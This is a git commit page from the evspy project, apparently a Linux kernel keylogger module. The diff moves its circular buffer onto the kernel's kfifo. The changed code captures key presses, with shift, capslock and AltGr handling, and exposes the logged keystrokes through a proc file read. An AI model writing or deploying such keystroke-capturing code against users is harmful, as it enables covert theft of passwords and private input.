aboutsummaryrefslogtreecommitdiff
path: root/evspy-core.c
diff options
context:
space:
mode:
authorGuillermo Ramos2011-10-30 00:40:39 +0200
committerGuillermo Ramos2011-10-30 00:40:39 +0200
commit4adbbb67edb76245992bd6dc35adfc5cdd61607a (patch)
treef3a847e2d08aa00d16aae26dfde7a8a47b176a2e /evspy-core.c
parent28974e52f86f8873d47a899cbb2e5b122d62bfc1 (diff)
downloadevspy-4adbbb67edb76245992bd6dc35adfc5cdd61607a.tar.gz
Deleted cbuf.[c,h]
Circular buffer implementation moved back to evspy-core.c evspy-core.h renamed to evspy.h and added #ifdef's
Diffstat (limited to 'evspy-core.c')
-rw-r--r--evspy-core.c26
1 files changed, 17 insertions, 9 deletions
diff --git a/evspy-core.c b/evspy-core.c
index 58625a2..0ce19ba 100644
--- a/evspy-core.c
+++ b/evspy-core.c
@@ -20,9 +20,11 @@
* along with evspy. If not, see <http://www.gnu.org/licenses/>.
*/
-#include "evspy-core.h"
-#include "cbuf.h"
+#include "evspy.h"
+
+
+DECLARE_KFIFO(cbuffer, char, EVS_BUFSIZE);
static unsigned short int capslock_on = 0;
static unsigned short int shift_on = 0;
@@ -47,9 +49,14 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count,
#else
return -EPERM;
#endif
- }
+ } else {
+ n = kfifo_out(&cbuffer, page, count);
- return cbuf_read(page, count, eof);
+ if (kfifo_is_empty(&cbuffer))
+ *eof = 1;
+
+ return n;
+ }
}
/*
@@ -139,7 +146,7 @@ static void special_char(unsigned int code, unsigned int value)
sp_tag[1] = '-';
while (*sp_tag)
- cbuf_write(*sp_tag++);
+ evs_insert(&cbuffer, sp_tag++);
}
static void evspy_event(struct input_handle *handle, unsigned int type,
@@ -162,13 +169,13 @@ static void evspy_event(struct input_handle *handle, unsigned int type,
} else if (value == EVS_VAL_PRESS) {
#ifdef EVS_ALTGR_ENABLED
if (altgr_on)
- cbuf_write(evs_altgr(code));
+ evs_insert(&cbuffer, evs_altgr(code));
else
#endif
if (shift_on || capslock_on)
- cbuf_write(evs_shift(code));
+ evs_insert(&cbuffer, evs_shift(code));
else
- cbuf_write(map[code]);
+ evs_insert(&cbuffer, &map[code]);
}
}
@@ -232,7 +239,8 @@ static int __init evspy_init(void)
#ifdef EVS_ALTGR_ENABLED
init_altgrmap();
#endif
- cbuf_init();
+ //cbuf_init();
+ INIT_KFIFO(cbuffer);
return input_register_handler(&evspy_handler);
}